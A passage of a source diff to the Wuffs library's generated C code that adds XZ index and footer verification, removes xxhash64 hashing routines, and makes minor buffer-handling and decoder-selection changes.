++ goto exit; ++ } ++ self->private_impl.f_index_block_uncompressed_size |= (((uint64_t)(1u)) << 63u); ++ break; ++ } ++ self->private_impl.f_verification_want_total_sizes[0u] += self->private_impl.f_index_block_compressed_size; ++ v_hash = ((uint32_t)((self->private_impl.f_index_block_compressed_size ^ (self->private_impl.f_index_block_compressed_size >> 32u)))); ++ v_hash *= 3432918353u; ++ v_hash = (((uint32_t)(v_hash << 15u)) | (v_hash >> 17u)); ++ v_hash *= 461845907u; ++ v_hash ^= self->private_impl.f_verification_want_hashed_sizes[0u]; ++ v_hash = (((uint32_t)(v_hash << 13u)) | (v_hash >> 19u)); ++ self->private_impl.f_verification_want_hashed_sizes[0u] = ((uint32_t)(((uint32_t)(v_hash * 5u)) + 3864292196u)); ++ self->private_impl.f_verification_want_total_sizes[1u] += self->private_impl.f_index_block_uncompressed_size; ++ v_hash = ((uint32_t)((self->private_impl.f_index_block_uncompressed_size ^ (self->private_impl.f_index_block_uncompressed_size >> 32u)))); ++ v_hash *= 3432918353u; ++ v_hash = (((uint32_t)(v_hash << 15u)) | (v_hash >> 17u)); ++ v_hash *= 461845907u; ++ v_hash ^= self->private_impl.f_verification_want_hashed_sizes[1u]; ++ v_hash = (((uint32_t)(v_hash << 13u)) | (v_hash >> 19u)); ++ self->private_impl.f_verification_want_hashed_sizes[1u] = ((uint32_t)(((uint32_t)(v_hash * 5u)) + 3864292196u)); ++ } ++ if ((self->private_impl.f_verification_have_hashed_sizes[0u] != self->private_impl.f_verification_want_hashed_sizes[0u]) || ++ (self->private_impl.f_verification_have_hashed_sizes[1u] != self->private_impl.f_verification_want_hashed_sizes[1u]) || ++ (self->private_impl.f_verification_have_total_sizes[0u] != self->private_impl.f_verification_want_total_sizes[0u]) || ++ (self->private_impl.f_verification_have_total_sizes[1u] != self->private_impl.f_verification_want_total_sizes[1u])) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_xxhash64__hasher__update_u64( +- wuffs_xxhash64__hasher* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return 0; ++ goto ok; ++ ok: ++ self->private_impl.p_verify_index = 0; ++ goto exit; + } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return 0; ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_verify_index = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_verify_index.v_shift = v_shift; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- wuffs_xxhash64__hasher__update(self, a_x); +- return wuffs_xxhash64__hasher__checksum_u64(self); ++ return status; + } + +-// -------- func xxhash64.hasher.up ++// -------- func xz.decoder.verify_footer + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_xxhash64__hasher__up( +- wuffs_xxhash64__hasher* self, +- wuffs_base__slice_u8 a_x) { +- uint64_t v_new_lmu = 0; +- uint64_t v_buf_u64 = 0; +- uint32_t v_buf_len = 0; +- uint64_t v_v0 = 0; +- uint64_t v_v1 = 0; +- uint64_t v_v2 = 0; +- uint64_t v_v3 = 0; +- wuffs_base__slice_u8 v_p = {0}; ++static wuffs_base__status ++wuffs_xz__decoder__verify_footer( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- v_new_lmu = ((uint64_t)(self->private_impl.f_length_modulo_u64 + ((uint64_t)(a_x.len)))); +- self->private_impl.f_length_overflows_u64 = ((v_new_lmu < self->private_impl.f_length_modulo_u64) || self->private_impl.f_length_overflows_u64); +- self->private_impl.f_length_modulo_u64 = v_new_lmu; +- while (true) { +- if (self->private_impl.f_buf_len >= 32u) { +- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[0u])) | +- (((uint64_t)(self->private_impl.f_buf_data[1u])) << 8u) | +- (((uint64_t)(self->private_impl.f_buf_data[2u])) << 16u) | +- (((uint64_t)(self->private_impl.f_buf_data[3u])) << 24u) | +- (((uint64_t)(self->private_impl.f_buf_data[4u])) << 32u) | +- (((uint64_t)(self->private_impl.f_buf_data[5u])) << 40u) | +- (((uint64_t)(self->private_impl.f_buf_data[6u])) << 48u) | +- (((uint64_t)(self->private_impl.f_buf_data[7u])) << 56u)); +- v_v0 = ((uint64_t)(self->private_impl.f_v0 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); +- v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); +- self->private_impl.f_v0 = ((uint64_t)(v_v0 * 11400714785074694791u)); +- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[8u])) | +- (((uint64_t)(self->private_impl.f_buf_data[9u])) << 8u) | +- (((uint64_t)(self->private_impl.f_buf_data[10u])) << 16u) | +- (((uint64_t)(self->private_impl.f_buf_data[11u])) << 24u) | +- (((uint64_t)(self->private_impl.f_buf_data[12u])) << 32u) | +- (((uint64_t)(self->private_impl.f_buf_data[13u])) << 40u) | +- (((uint64_t)(self->private_impl.f_buf_data[14u])) << 48u) | +- (((uint64_t)(self->private_impl.f_buf_data[15u])) << 56u)); +- v_v1 = ((uint64_t)(self->private_impl.f_v1 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); +- v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); +- self->private_impl.f_v1 = ((uint64_t)(v_v1 * 11400714785074694791u)); +- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[16u])) | +- (((uint64_t)(self->private_impl.f_buf_data[17u])) << 8u) | +- (((uint64_t)(self->private_impl.f_buf_data[18u])) << 16u) | +- (((uint64_t)(self->private_impl.f_buf_data[19u])) << 24u) | +- (((uint64_t)(self->private_impl.f_buf_data[20u])) << 32u) | +- (((uint64_t)(self->private_impl.f_buf_data[21u])) << 40u) | +- (((uint64_t)(self->private_impl.f_buf_data[22u])) << 48u) | +- (((uint64_t)(self->private_impl.f_buf_data[23u])) << 56u)); +- v_v2 = ((uint64_t)(self->private_impl.f_v2 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); +- v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); +- self->private_impl.f_v2 = ((uint64_t)(v_v2 * 11400714785074694791u)); +- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[24u])) | +- (((uint64_t)(self->private_impl.f_buf_data[25u])) << 8u) | +- (((uint64_t)(self->private_impl.f_buf_data[26u])) << 16u) | +- (((uint64_t)(self->private_impl.f_buf_data[27u])) << 24u) | +- (((uint64_t)(self->private_impl.f_buf_data[28u])) << 32u) | +- (((uint64_t)(self->private_impl.f_buf_data[29u])) << 40u) | +- (((uint64_t)(self->private_impl.f_buf_data[30u])) << 48u) | +- (((uint64_t)(self->private_impl.f_buf_data[31u])) << 56u)); +- v_v3 = ((uint64_t)(self->private_impl.f_v3 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); +- v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); +- self->private_impl.f_v3 = ((uint64_t)(v_v3 * 11400714785074694791u)); +- self->private_impl.f_buf_len = 0u; +- break; ++ uint32_t v_c32 = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_verify_footer; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_verify_footer.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_verify_footer.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ v_c32 = t_0; + } +- if (((uint64_t)(a_x.len)) <= 0u) { +- return wuffs_base__make_empty_struct(); ++ if (v_c32 != ((uint32_t)(self->private_impl.f_backwards_size))) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_footer); ++ goto exit; + } +- self->private_impl.f_buf_data[self->private_impl.f_buf_len] = a_x.ptr[0u]; +- self->private_impl.f_buf_len += 1u; +- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); +- } +- v_buf_len = (self->private_impl.f_buf_len & 31u); +- v_v0 = self->private_impl.f_v0; +- v_v1 = self->private_impl.f_v1; +- v_v2 = self->private_impl.f_v2; +- v_v3 = self->private_impl.f_v3; +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 32; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32); +- while (v_p.ptr < i_end0_p) { +- v_buf_u64 = (((uint64_t)(v_p.ptr[0u])) | +- (((uint64_t)(v_p.ptr[1u])) << 8u) | +- (((uint64_t)(v_p.ptr[2u])) << 16u) | +- (((uint64_t)(v_p.ptr[3u])) << 24u) | +- (((uint64_t)(v_p.ptr[4u])) << 32u) | +- (((uint64_t)(v_p.ptr[5u])) << 40u) | +- (((uint64_t)(v_p.ptr[6u])) << 48u) | +- (((uint64_t)(v_p.ptr[7u])) << 56u)); +- v_v0 = ((uint64_t)(v_v0 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); +- v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); +- v_v0 = ((uint64_t)(v_v0 * 11400714785074694791u)); +- v_buf_u64 = (((uint64_t)(v_p.ptr[8u])) | +- (((uint64_t)(v_p.ptr[9u])) << 8u) | +- (((uint64_t)(v_p.ptr[10u])) << 16u) | +- (((uint64_t)(v_p.ptr[11u])) << 24u) | +- (((uint64_t)(v_p.ptr[12u])) << 32u) | +- (((uint64_t)(v_p.ptr[13u])) << 40u) | +- (((uint64_t)(v_p.ptr[14u])) << 48u) | +- (((uint64_t)(v_p.ptr[15u])) << 56u)); +- v_v1 = ((uint64_t)(v_v1 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); +- v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); +- v_v1 = ((uint64_t)(v_v1 * 11400714785074694791u)); +- v_buf_u64 = (((uint64_t)(v_p.ptr[16u])) | +- (((uint64_t)(v_p.ptr[17u])) << 8u) | +- (((uint64_t)(v_p.ptr[18u])) << 16u) | +- (((uint64_t)(v_p.ptr[19u])) << 24u) | +- (((uint64_t)(v_p.ptr[20u])) << 32u) | +- (((uint64_t)(v_p.ptr[21u])) << 40u) | +- (((uint64_t)(v_p.ptr[22u])) << 48u) | +- (((uint64_t)(v_p.ptr[23u])) << 56u)); +- v_v2 = ((uint64_t)(v_v2 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); +- v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); +- v_v2 = ((uint64_t)(v_v2 * 11400714785074694791u)); +- v_buf_u64 = (((uint64_t)(v_p.ptr[24u])) | +- (((uint64_t)(v_p.ptr[25u])) << 8u) | +- (((uint64_t)(v_p.ptr[26u])) << 16u) | +- (((uint64_t)(v_p.ptr[27u])) << 24u) | +- (((uint64_t)(v_p.ptr[28u])) << 32u) | +- (((uint64_t)(v_p.ptr[29u])) << 40u) | +- (((uint64_t)(v_p.ptr[30u])) << 48u) | +- (((uint64_t)(v_p.ptr[31u])) << 56u)); +- v_v3 = ((uint64_t)(v_v3 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); +- v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); +- v_v3 = ((uint64_t)(v_v3 * 11400714785074694791u)); +- v_p.ptr += 32; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_1 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_verify_footer.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_verify_footer.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 8) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ v_c32 = t_1; + } +- v_p.len = 1; +- uint8_t* i_end1_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end1_p) { +- self->private_impl.f_buf_data[v_buf_len] = v_p.ptr[0u]; +- v_buf_len = ((v_buf_len + 1u) & 31u); +- v_p.ptr += 1; ++ if (v_c32 != ((uint32_t)(self->private_impl.f_flags))) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_footer); ++ goto exit; + } +- v_p.len = 0; +- } +- self->private_impl.f_buf_len = v_buf_len; +- self->private_impl.f_v0 = v_v0; +- self->private_impl.f_v1 = v_v1; +- self->private_impl.f_v2 = v_v2; +- self->private_impl.f_v3 = v_v3; +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func xxhash64.hasher.checksum_u64 + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_xxhash64__hasher__checksum_u64( +- const wuffs_xxhash64__hasher* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ goto ok; ++ ok: ++ self->private_impl.p_verify_footer = 0; ++ goto exit; + } + +- uint64_t v_ret = 0; +- uint64_t v_v0 = 0; +- uint64_t v_v1 = 0; +- uint64_t v_v2 = 0; +- uint64_t v_v3 = 0; +- uint32_t v_i = 0; +- uint32_t v_i8 = 0; +- uint32_t v_n = 0; +- uint32_t v_buf_u32 = 0; +- uint64_t v_buf_u64 = 0; ++ goto suspend; ++ suspend: ++ self->private_impl.p_verify_footer = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + +- if ((self->private_impl.f_length_modulo_u64 >= 32u) || self->private_impl.f_length_overflows_u64) { +- v_ret += (((uint64_t)(self->private_impl.f_v0 << 1u)) | (self->private_impl.f_v0 >> 63u)); +- v_ret += (((uint64_t)(self->private_impl.f_v1 << 7u)) | (self->private_impl.f_v1 >> 57u)); +- v_ret += (((uint64_t)(self->private_impl.f_v2 << 12u)) | (self->private_impl.f_v2 >> 52u)); +- v_ret += (((uint64_t)(self->private_impl.f_v3 << 18u)) | (self->private_impl.f_v3 >> 46u)); +- v_v0 = ((uint64_t)(self->private_impl.f_v0 * 14029467366897019727u)); +- v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); +- v_v0 *= 11400714785074694791u; +- v_v1 = ((uint64_t)(self->private_impl.f_v1 * 14029467366897019727u)); +- v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); +- v_v1 *= 11400714785074694791u; +- v_v2 = ((uint64_t)(self->private_impl.f_v2 * 14029467366897019727u)); +- v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); +- v_v2 *= 11400714785074694791u; +- v_v3 = ((uint64_t)(self->private_impl.f_v3 * 14029467366897019727u)); +- v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); +- v_v3 *= 11400714785074694791u; +- v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v0) * 11400714785074694791u)) + 9650029242287828579u)); +- v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v1) * 11400714785074694791u)) + 9650029242287828579u)); +- v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v2) * 11400714785074694791u)) + 9650029242287828579u)); +- v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v3) * 11400714785074694791u)) + 9650029242287828579u)); +- v_ret += self->private_impl.f_length_modulo_u64; +- } else { +- v_ret += 2870177450012600261u; +- v_ret += self->private_impl.f_length_modulo_u64; +- } +- v_n = 32u; +- v_n = wuffs_base__u32__min(v_n, self->private_impl.f_buf_len); +- if (8u <= v_n) { +- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[0u])) | +- (((uint64_t)(self->private_impl.f_buf_data[1u])) << 8u) | +- (((uint64_t)(self->private_impl.f_buf_data[2u])) << 16u) | +- (((uint64_t)(self->private_impl.f_buf_data[3u])) << 24u) | +- (((uint64_t)(self->private_impl.f_buf_data[4u])) << 32u) | +- (((uint64_t)(self->private_impl.f_buf_data[5u])) << 40u) | +- (((uint64_t)(self->private_impl.f_buf_data[6u])) << 48u) | +- (((uint64_t)(self->private_impl.f_buf_data[7u])) << 56u)); +- v_buf_u64 *= 14029467366897019727u; +- v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); +- v_buf_u64 *= 11400714785074694791u; +- v_ret ^= v_buf_u64; +- v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); +- v_ret *= 11400714785074694791u; +- v_ret += 9650029242287828579u; +- v_i = 8u; +- } +- if (16u <= v_n) { +- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[8u])) | +- (((uint64_t)(self->private_impl.f_buf_data[9u])) << 8u) | +- (((uint64_t)(self->private_impl.f_buf_data[10u])) << 16u) | +- (((uint64_t)(self->private_impl.f_buf_data[11u])) << 24u) | +- (((uint64_t)(self->private_impl.f_buf_data[12u])) << 32u) | +- (((uint64_t)(self->private_impl.f_buf_data[13u])) << 40u) | +- (((uint64_t)(self->private_impl.f_buf_data[14u])) << 48u) | +- (((uint64_t)(self->private_impl.f_buf_data[15u])) << 56u)); +- v_buf_u64 *= 14029467366897019727u; +- v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); +- v_buf_u64 *= 11400714785074694791u; +- v_ret ^= v_buf_u64; +- v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); +- v_ret *= 11400714785074694791u; +- v_ret += 9650029242287828579u; +- v_i = 16u; +- } +- if (24u <= v_n) { +- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[16u])) | +- (((uint64_t)(self->private_impl.f_buf_data[17u])) << 8u) | +- (((uint64_t)(self->private_impl.f_buf_data[18u])) << 16u) | +- (((uint64_t)(self->private_impl.f_buf_data[19u])) << 24u) | +- (((uint64_t)(self->private_impl.f_buf_data[20u])) << 32u) | +- (((uint64_t)(self->private_impl.f_buf_data[21u])) << 40u) | +- (((uint64_t)(self->private_impl.f_buf_data[22u])) << 48u) | +- (((uint64_t)(self->private_impl.f_buf_data[23u])) << 56u)); +- v_buf_u64 *= 14029467366897019727u; +- v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); +- v_buf_u64 *= 11400714785074694791u; +- v_ret ^= v_buf_u64; +- v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); +- v_ret *= 11400714785074694791u; +- v_ret += 9650029242287828579u; +- v_i = 24u; +- } +- if ((v_n & 4u) != 0u) { +- v_i8 = (v_i & 24u); +- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 0u)])) | +- (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 1u)])) << 8u) | +- (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 2u)])) << 16u) | +- (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 3u)])) << 24u)); +- v_ret ^= ((uint64_t)(((uint64_t)(v_buf_u32)) * 11400714785074694791u)); +- v_ret = (((uint64_t)(v_ret << 23u)) | (v_ret >> 41u)); +- v_ret *= 14029467366897019727u; +- v_ret += 1609587929392839161u; +- v_i = (v_i8 + 4u); +- } +- while (v_i < v_n) { +- v_ret ^= ((uint64_t)(((uint64_t)(self->private_impl.f_buf_data[v_i])) * 2870177450012600261u)); +- v_ret = (((uint64_t)(v_ret << 11u)) | (v_ret >> 53u)); +- v_ret *= 11400714785074694791u; +- v_i += 1u; ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- v_ret ^= (v_ret >> 33u); +- v_ret *= 14029467366897019727u; +- v_ret ^= (v_ret >> 29u); +- v_ret *= 1609587929392839161u; +- v_ret ^= (v_ret >> 32u); +- return ((uint64_t)(v_ret)); ++ ++ return status; + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XZ) + + #if defined(__cplusplus) && defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +@@ -62309,16 +78871,12 @@ DynIOBuffer::DynIOBuffer(uint64_t max_incl) + : m_buf(wuffs_base__empty_io_buffer()), m_max_incl(max_incl) {} + + DynIOBuffer::~DynIOBuffer() { +- if (m_buf.data.ptr) { +- free(m_buf.data.ptr); +- } ++ free(m_buf.data.ptr); + } + + void // + DynIOBuffer::drop() { +- if (m_buf.data.ptr) { +- free(m_buf.data.ptr); +- } ++ free(m_buf.data.ptr); + m_buf = wuffs_base__empty_io_buffer(); + } + +@@ -62329,13 +78887,16 @@ DynIOBuffer::grow(uint64_t min_incl) { + return ((min_incl == 0) && (m_max_incl == 0)) + ? DynIOBuffer::GrowResult::OK + : DynIOBuffer::GrowResult::FailedMaxInclExceeded; ++ } else if (n > SIZE_MAX) { ++ return DynIOBuffer::GrowResult::FailedOutOfMemory; + } else if (n > m_buf.data.len) { +- uint8_t* ptr = static_cast(realloc(m_buf.data.ptr, n)); ++ uint8_t* ptr = ++ static_cast(realloc(m_buf.data.ptr, static_cast(n))); + if (!ptr) { + return DynIOBuffer::GrowResult::FailedOutOfMemory; + } + m_buf.data.ptr = ptr; +- m_buf.data.len = n; ++ m_buf.data.len = static_cast(n); + } + return DynIOBuffer::GrowResult::OK; + } +@@ -62382,7 +78943,7 @@ Input::BringsItsOwnIOBuffer() { + FileInput::FileInput(FILE* f) : m_f(f) {} + + std::string // +-FileInput::CopyIn(IOBuffer* dst, uint64_t history_retain_length) { ++FileInput::CopyIn(IOBuffer* dst) { + if (!m_f) { + return "wuffs_aux::sync_io::FileInput: nullptr file"; + } else if (!dst) { +@@ -62390,7 +78951,7 @@ FileInput::CopyIn(IOBuffer* dst, uint64_t history_retain_length) { + } else if (dst->meta.closed) { + return "wuffs_aux::sync_io::FileInput: end of file"; + } else { +- dst->compact_retaining(history_retain_length); ++ dst->compact(); + size_t n = fread(dst->writer_pointer(), 1, dst->writer_length(), m_f); + dst->meta.wi += n; + dst->meta.closed = feof(m_f); +@@ -62418,7 +78979,7 @@ MemoryInput::BringsItsOwnIOBuffer() { + } + + std::string // +-MemoryInput::CopyIn(IOBuffer* dst, uint64_t history_retain_length) { ++MemoryInput::CopyIn(IOBuffer* dst) { + if (!dst) { + return "wuffs_aux::sync_io::MemoryInput: nullptr IOBuffer"; + } else if (dst->meta.closed) { +@@ -62428,7 +78989,7 @@ MemoryInput::CopyIn(IOBuffer* dst, uint64_t history_retain_length) { + // to it. + return "wuffs_aux::sync_io::MemoryInput: overlapping buffers"; + } else { +- dst->compact_retaining(history_retain_length); ++ dst->compact(); + size_t nd = dst->writer_length(); + size_t ns = m_io.reader_length(); + size_t n = (nd < ns) ? nd : ns; +@@ -62483,7 +79044,7 @@ AdvanceIOBufferTo(const ErrorMessages& error_messages, + if (!input.BringsItsOwnIOBuffer()) { + io_buf.compact(); + } +- std::string error_message = input.CopyIn(&io_buf, 0); ++ std::string error_message = input.CopyIn(&io_buf); + if (!error_message.empty()) { + return error_message; + } +@@ -62566,7 +79127,7 @@ HandleMetadata( + } else if (!input.BringsItsOwnIOBuffer()) { + io_buf.compact(); + } +- std::string error_message = input.CopyIn(&io_buf, 0); ++ std::string error_message = input.CopyIn(&io_buf); + if (!error_message.empty()) { + return error_message; + } +@@ -62627,15 +79188,13 @@ DecodeCborCallbacks::Done(DecodeCborResult& result, + sync_io::Input& input, + IOBuffer& buffer) {} + +-DecodeCborArgQuirks::DecodeCborArgQuirks(wuffs_base__slice_u32 repr0) +- : repr(repr0) {} +- +-DecodeCborArgQuirks::DecodeCborArgQuirks(uint32_t* ptr0, size_t len0) +- : repr(wuffs_base__make_slice_u32(ptr0, len0)) {} ++DecodeCborArgQuirks::DecodeCborArgQuirks(const QuirkKeyValuePair* ptr0, ++ const size_t len0) ++ : ptr(ptr0), len(len0) {} + + DecodeCborArgQuirks // + DecodeCborArgQuirks::DefaultValue() { +- return DecodeCborArgQuirks(wuffs_base__empty_slice_u32()); ++ return DecodeCborArgQuirks(nullptr, 0); + } + + DecodeCborResult // +@@ -62664,8 +79223,8 @@ DecodeCbor(DecodeCborCallbacks& callbacks, + ret_error_message = "wuffs_aux::DecodeCbor: out of memory"; + goto done; + } +- for (size_t i = 0; i < quirks.repr.len; i++) { +- dec->set_quirk(quirks.repr.ptr[i], 1); ++ for (size_t i = 0; i < quirks.len; i++) { ++ dec->set_quirk(quirks.ptr[i].first, quirks.ptr[i].second); + } + + // Prepare the wuffs_base__tok_buffer. 256 tokens is 2KiB. +@@ -62710,14 +79269,14 @@ DecodeCbor(DecodeCborCallbacks& callbacks, + "wuffs_aux::DecodeCbor: internal error: io_buf is closed"; + goto done; + } +- io_buf->compact_retaining(dec->history_retain_length()); ++ io_buf->compact(); + if (io_buf->meta.wi >= io_buf->data.len) { + ret_error_message = + "wuffs_aux::DecodeCbor: internal error: io_buf is full"; + goto done; + } + cursor_index = io_buf->meta.ri; +- io_error_message = input.CopyIn(io_buf, dec->history_retain_length()); ++ io_error_message = input.CopyIn(io_buf); + } else { + ret_error_message = tok_status.message(); + goto done; +@@ -62796,7 +79355,7 @@ DecodeCbor(DecodeCborCallbacks& callbacks, + goto done; + } + depth++; +- if (depth > WUFFS_CBOR__DECODER_DEPTH_MAX_INCL) { ++ if (depth > (int32_t)WUFFS_CBOR__DECODER_DEPTH_MAX_INCL) { + ret_error_message = + "wuffs_aux::DecodeCbor: internal error: bad depth"; + goto done; +@@ -63052,6 +79611,11 @@ DecodeImageCallbacks::SelectDecoder(uint32_t fourcc, + } + #endif + ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__QOI) ++ case WUFFS_BASE__FOURCC__QOI: ++ return wuffs_qoi__decoder::alloc_as__wuffs_base__image_decoder(); ++#endif ++ + #if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) + case WUFFS_BASE__FOURCC__TGA: + return wuffs_tga__decoder::alloc_as__wuffs_base__image_decoder(); +@@ -63061,6 +79625,11 @@ DecodeImageCallbacks::SelectDecoder(uint32_t fourcc, + case WUFFS_BASE__FOURCC__WBMP: + return wuffs_wbmp__decoder::alloc_as__wuffs_base__image_decoder(); + #endif ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WEBP) ++ case WUFFS_BASE__FOURCC__WEBP: ++ return wuffs_webp__decoder::alloc_as__wuffs_base__image_decoder(); ++#endif + } + + return wuffs_base__image_decoder::unique_ptr(nullptr); +@@ -63091,7 +79660,7 @@ DecodeImageCallbacks::AllocPixbuf(const wuffs_base__image_config& image_config, + return AllocPixbufResult(DecodeImage_UnsupportedPixelConfiguration); + } + void* ptr = +- allow_uninitialized_memory ? malloc((size_t)len) : calloc((size_t)len, 1); ++ allow_uninitialized_memory ? malloc((size_t)len) : calloc(1, (size_t)len); + if (!ptr) { + return AllocPixbufResult(DecodeImage_OutOfMemory); + } +@@ -63116,7 +79685,7 @@ DecodeImageCallbacks::AllocWorkbuf(wuffs_base__range_ii_u64 len_range, + return AllocWorkbufResult(DecodeImage_OutOfMemory); + } + void* ptr = +- allow_uninitialized_memory ? malloc((size_t)len) : calloc((size_t)len, 1); ++ allow_uninitialized_memory ? malloc((size_t)len) : calloc(1, 